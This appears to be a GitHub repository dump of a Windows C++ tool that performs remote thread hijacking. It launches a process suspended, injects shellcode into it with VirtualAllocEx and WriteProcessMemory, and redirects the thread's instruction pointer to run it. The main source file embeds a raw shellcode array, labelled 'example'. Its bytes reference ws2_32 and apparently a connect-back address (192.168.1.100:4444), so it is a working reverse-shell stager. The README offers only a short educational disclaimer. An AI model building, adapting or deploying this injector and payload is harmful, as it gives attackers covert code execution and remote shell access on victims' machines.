├── .gitattributes ├── .gitignore ├── LICENSE ├── README.md ├── RemoteThreadHijacking.sln └── RemoteThreadHijacking ├── Functions.h ├── RemoteThreadHijacking.cpp ├── RemoteThreadHijacking.vcxproj └── RemoteThreadHijacking.vcxproj.filters /.gitattributes: -------------------------------------------------------------------------------- 1 | ############################################################################### 2 | # Set default behavior to automatically normalize line endings. 3 | ############################################################################### 4 | * text=auto 5 | 6 | ############################################################################### 7 | # Set default behavior for command prompt diff. 8 | # 9 | # This is need for earlier builds of msysgit that does not have it on by 10 | # default for csharp files. 11 | # Note: This is only used by command line 12 | ############################################################################### 13 | #*.cs diff=csharp 14 | 15 | ############################################################################### 16 | # Set the merge driver for project and solution files 17 | # 18 | # Merging from the command prompt will add diff markers to the files if there 19 | # are conflicts (Merging from VS is not affected by the settings below, in VS 20 | # the diff markers are never inserted). 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IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 2 | # Remote Thread Hijacking 3 | 4 | This project demonstrates remote thread hijacking on a Windows process. It involves creating a suspended process, injecting shellcode into that process, and hijacking its thread to execute the injected shellcode. 5 | 6 | ## Features 7 | - **Create Suspended Process:** Launches a Windows process in a suspended state to allow for thread hijacking. 8 | - **Shellcode Injection:** Allocates memory in the target process, injects shellcode, and changes memory protection for execution. 9 | - **Thread Hijacking:** Modifies the context of the target thread to point to the injected shellcode and resumes the thread. 10 | 11 | ## Prerequisites 12 | - **Operating System:** Windows 13 | - **Development Environment:** Visual Studio 14 | - **Libraries:** 15 | - Windows API (kernel32, ntdll) 16 | - Functions for process and memory management 17 | 18 | ## How It Works 19 | 1. **Create Suspended Process:** The project uses the `CreateProcess` API to start a process in suspended mode. 20 | 2. **Inject Shellcode:** The shellcode is injected into the process using `VirtualAllocEx` and `WriteProcessMemory`. 21 | 3. **Hijack Thread:** The thread's instruction pointer (`RIP`) is redirected to the shellcode and resumed. 22 | 23 | ## Usage 24 | 1. Clone the repository: 25 | ```bash 26 | git clone https://github.com/yourusername/RemoteThreadHijacking.git 27 | ``` 28 | 2. Open the project in Visual Studio. 29 | 3. Build the project (make sure to enable C++20 in your project settings if needed). 30 | 4. Run the executable: 31 | ```bash 32 | RemoteThreadHijacking.exe 33 | ``` 34 | Replace `` with the name of the process you want to hijack (e.g., `notepad.exe`). 35 | 36 | ### Example 37 | ```bash 38 | RemoteThreadHijacking.exe notepad.exe 39 | ``` 40 | 41 | ## Project Structure 42 | - **Functions.h/Functions.cpp:** Contains the core functions for creating a process, injecting shellcode, and hijacking threads. 43 | - **RemoteThreadHijacking.cpp:** The main entry point for the program. 44 | 45 | ## Troubleshooting 46 | - **Linking Errors:** Ensure you're running Visual Studio as Administrator and have sufficient privileges for process manipulation. 47 | - **Missing PDB File Errors:** Clean and rebuild the project if you encounter issues related to `.pdb` files. 48 | 49 | ## Disclaimer 50 | This project is intended for educational purposes only. Use responsibly and ensure you have permission when running on target systems. 51 | 52 | ## License 53 | This project is licensed under the MIT License. 54 | -------------------------------------------------------------------------------- /RemoteThreadHijacking.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.10.35004.147 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "RemoteThreadHijacking", "RemoteThreadHijacking\RemoteThreadHijacking.vcxproj", "{1D12EECD-1001-4496-9685-42EDD24E3264}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {1D12EECD-1001-4496-9685-42EDD24E3264}.Debug|x64.ActiveCfg = Debug|x64 17 | {1D12EECD-1001-4496-9685-42EDD24E3264}.Debug|x64.Build.0 = Debug|x64 18 | {1D12EECD-1001-4496-9685-42EDD24E3264}.Debug|x86.ActiveCfg = Debug|Win32 19 | {1D12EECD-1001-4496-9685-42EDD24E3264}.Debug|x86.Build.0 = Debug|Win32 20 | {1D12EECD-1001-4496-9685-42EDD24E3264}.Release|x64.ActiveCfg = Release|x64 21 | {1D12EECD-1001-4496-9685-42EDD24E3264}.Release|x64.Build.0 = Release|x64 22 | {1D12EECD-1001-4496-9685-42EDD24E3264}.Release|x86.ActiveCfg = Release|Win32 23 | {1D12EECD-1001-4496-9685-42EDD24E3264}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {263AFEFF-AD95-4A96-823A-E5924F34A097} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /RemoteThreadHijacking/Functions.h: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include "tlhelp32.h" 5 | 6 | 7 | 8 | // Some macros to help in the process of writing and printing texts 9 | #define okay(msg, ...) printf("[+]" msg "\n", __VA_ARGS__) 10 | #define info(msg, ...) printf("[+]" msg "\n", __VA_ARGS__) 11 | #define warning(msg, ...) printf("[-]" msg "\n", __VA_ARGS__) 12 | -------------------------------------------------------------------------------- /RemoteThreadHijacking/RemoteThreadHijacking.cpp: -------------------------------------------------------------------------------- 1 | #include "Functions.h" 2 | 3 | // Function to create a suspended process 4 | BOOL CreateSuspendedProcess(IN LPCSTR ProcessName, OUT DWORD* dwProcessId, OUT HANDLE* hProcess, OUT HANDLE* hThread) { 5 | CHAR WnDr[MAX_PATH]; 6 | CHAR lpPath[MAX_PATH * 2]; 7 | STARTUPINFO si = { 0 }; 8 | PROCESS_INFORMATION pi = { 0 }; 9 | 10 | si.cb = sizeof(STARTUPINFO); // Initialize the cb field in STARTUPINFO 11 | 12 | // Get WINDIR environment variable 13 | if (!GetEnvironmentVariableA("WINDIR", WnDr, MAX_PATH)) { 14 | warning("GetEnvironmentVariable failed, error: 0x%lx\n", GetLastError()); 15 | return FALSE; 16 | } 17 | 18 | okay("We got the environment variable.\n"); 19 | 20 | // Create the full target path for the process 21 | sprintf_s(lpPath, "%s\\System32\\%s", WnDr, ProcessName); 22 | info("Running: %s\n", lpPath); 23 | 24 | // Create the process in suspended mode 25 | if (!CreateProcessA(NULL, lpPath, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, (LPSTARTUPINFOA)&si, &pi)) { 26 | warning("Failed to create process, error: 0x%lx\n", GetLastError()); 27 | return FALSE; 28 | } 29 | 30 | info("Process created successfully.\n"); 31 | 32 | // Set the output parameters 33 | *dwProcessId = pi.dwProcessId; 34 | *hProcess = pi.hProcess; 35 | *hThread = pi.hThread; 36 | 37 | // Ensure all handles are valid 38 | if (*dwProcessId != 0 && *hProcess != NULL && *hThread != NULL) { 39 | return TRUE; 40 | } 41 | return FALSE; 42 | } 43 | 44 | // Function to inject shellcode into the remote process 45 | BOOL InjectShellcodeToRemoteProcess(IN HANDLE hProcess, IN PBYTE pShellcode, IN SIZE_T sSizeOfShellcode, OUT PVOID* ppAddress) { 46 | SIZE_T sNumberOfBytesWritten = 0; 47 | DWORD dwOldProtection = 0; 48 | 49 | // Allocate memory in the remote process 50 | *ppAddress = VirtualAllocEx(hProcess, NULL, sSizeOfShellcode, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); 51 | if (*ppAddress == NULL) { 52 | warning("VirtualAllocEx failed, error: %d\n", GetLastError()); 53 | return FALSE; 54 | } 55 | 56 | info("Allocated memory at: 0x%p\n", *ppAddress); 57 | 58 | // Write the shellcode into the allocated memory 59 | if (!WriteProcessMemory(hProcess, *ppAddress, pShellcode, sSizeOfShellcode, &sNumberOfBytesWritten) || sNumberOfBytesWritten != sSizeOfShellcode) { 60 | warning("WriteProcessMemory failed, error: %d\n", GetLastError()); 61 | return FALSE; 62 | } 63 | 64 | // Change the memory protection to execute the shellcode 65 | if (!VirtualProtectEx(hProcess, *ppAddress, sSizeOfShellcode, PAGE_EXECUTE_READWRITE, &dwOldProtection)) { 66 | warning("VirtualProtectEx failed, error: %d\n", GetLastError()); 67 | return FALSE; 68 | } 69 | 70 | return TRUE; 71 | } 72 | 73 | // Function to hijack the thread and point it to the injected shellcode 74 | BOOL HijackThread(IN HANDLE hThread, IN PVOID pAddress) { 75 | 76 | CONTEXT ThreadCtx; 77 | ThreadCtx.ContextFlags = CONTEXT_CONTROL; 78 | 79 | // Get the original thread context 80 | if (!GetThreadContext(hThread, &ThreadCtx)) { 81 | warning("GetThreadContext failed with error: %d\n", GetLastError()); 82 | return FALSE; 83 | } 84 | 85 | // Update the instruction pointer to point to the shellcode 86 | #ifdef _WIN64 87 | ThreadCtx.Rip = (DWORD64)pAddress; // x64 architecture 88 | #else 89 | ThreadCtx.Eip = (DWORD32)pAddress; // x86 architecture 90 | #endif 91 | 92 | // Set the new thread context 93 | if (!SetThreadContext(hThread, &ThreadCtx)) { 94 | warning("SetThreadContext failed with error: %d\n", GetLastError()); 95 | return FALSE; 96 | } 97 | 98 | // Resume the suspended thread, executing our payload 99 | ResumeThread(hThread); 100 | WaitForSingleObject(hThread, INFINITE); 101 | return TRUE; 102 | } 103 | 104 | int main(int argc, char* argv[]) { 105 | if (argc < 2) { 106 | warning("Usage: %s \n", argv[0]); 107 | return -1; 108 | } 109 | 110 | DWORD processId; 111 | HANDLE hProcess, hThread; 112 | 113 | // Create the suspended process 114 | if (CreateSuspendedProcess(argv[1], &processId, &hProcess, &hThread)) { 115 | okay("Process created with PID: %lu\n", processId); 116 | 117 | // Example shellcode (replace with actual shellcode) 118 | unsigned char shellcode[] = 119 | "\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50" 120 | "\x52\x51\x48\x31\xd2\x56\x65\x48\x8b\x52\x60\x48\x8b\x52" 121 | "\x18\x48\x8b\x52\x20\x4d\x31\xc9\x48\x8b\x72\x50\x48\x0f" 122 | "\xb7\x4a\x4a\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41" 123 | "\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x48\x8b\x52\x20\x41" 124 | "\x51\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f" 125 | "\x85\x72\x00\x00\x00\x8b\x80\x88\x00\x00\x00\x48\x85\xc0" 126 | "\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49" 127 | "\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6" 128 | "\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1" 129 | "\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8" 130 | "\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44" 131 | "\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x41\x58\x41\x58" 132 | "\x5e\x59\x48\x01\xd0\x5a\x41\x58\x41\x59\x41\x5a\x48\x83" 133 | "\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9" 134 | "\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00" 135 | "\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49" 136 | "\x89\xe5\x49\xbc\x02\x00\x11\x5c\xc0\xa8\x01\x64\x41\x54" 137 | "\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5" 138 | "\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b" 139 | "\x00\xff\xd5\x6a\x0a\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31" 140 | "\xc0\x48\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41" 141 | "\xba\xea\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58" 142 | "\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5" 143 | "\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5\xe8\x93\x00\x00\x00" 144 | "\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9\x6a\x04\x41\x58" 145 | "\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00" 146 | "\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41\x59\x68" 147 | "\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41\xba" 148 | "\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31" 149 | "\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9" 150 | "\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68" 151 | "\x00\x40\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f" 152 | "\x30\xff\xd5\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49" 153 | "\xff\xce\xe9\x3c\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48" 154 | "\x85\xf6\x75\xb4\x41\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2" 155 | "\xf0\xb5\xa2\x56\xff\xd5"; 156 | SIZE_T shellcodeSize = sizeof(shellcode); 157 | PVOID pRemoteAddress = NULL; 158 | 159 | // Inject shellcode 160 | if (InjectShellcodeToRemoteProcess(hProcess, shellcode, shellcodeSize, &pRemoteAddress)) { 161 | info("Shellcode injected at: 0x%p\n", pRemoteAddress); 162 | 163 | // Hijack the thread to point to the injected shellcode 164 | if (HijackThread(hThread, pRemoteAddress)) { 165 | okay("Thread hijacked and shellcode executed successfully.\n"); 166 | } 167 | else { 168 | warning("Failed to hijack the thread.\n"); 169 | } 170 | } 171 | else { 172 | warning("Failed to inject shellcode.\n"); 173 | } 174 | 175 | // Close handles 176 | CloseHandle(hProcess); 177 | CloseHandle(hThread); 178 | } 179 | else { 180 | warning("Failed to create suspended process.\n"); 181 | } 182 | 183 | return 0; 184 | } 185 | -------------------------------------------------------------------------------- /RemoteThreadHijacking/RemoteThreadHijacking.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 17.0 23 | Win32Proj 24 | {1d12eecd-1001-4496-9685-42edd24e3264} 25 | RemoteThreadHijacking 26 | 10.0 27 | 28 | 29 | 30 | Application 31 | true 32 | v143 33 | Unicode 34 | 35 | 36 | Application 37 | false 38 | v143 39 | true 40 | Unicode 41 | 42 | 43 | Application 44 | true 45 | v143 46 | Unicode 47 | 48 | 49 | Application 50 | false 51 | v143 52 | true 53 | Unicode 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | Level3 76 | true 77 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 78 | true 79 | 80 | 81 | Console 82 | true 83 | 84 | 85 | 86 | 87 | Level3 88 | true 89 | true 90 | true 91 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 92 | true 93 | 94 | 95 | Console 96 | true 97 | true 98 | true 99 | 100 | 101 | 102 | 103 | Level3 104 | true 105 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 106 | true 107 | 108 | 109 | Console 110 | true 111 | 112 | 113 | 114 | 115 | Level3 116 | true 117 | true 118 | true 119 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 120 | true 121 | 122 | 123 | Console 124 | true 125 | true 126 | true 127 | 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | 137 | 138 | -------------------------------------------------------------------------------- /RemoteThreadHijacking/RemoteThreadHijacking.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | 23 | 24 | Header Files 25 | 26 | 27 | --------------------------------------------------------------------------------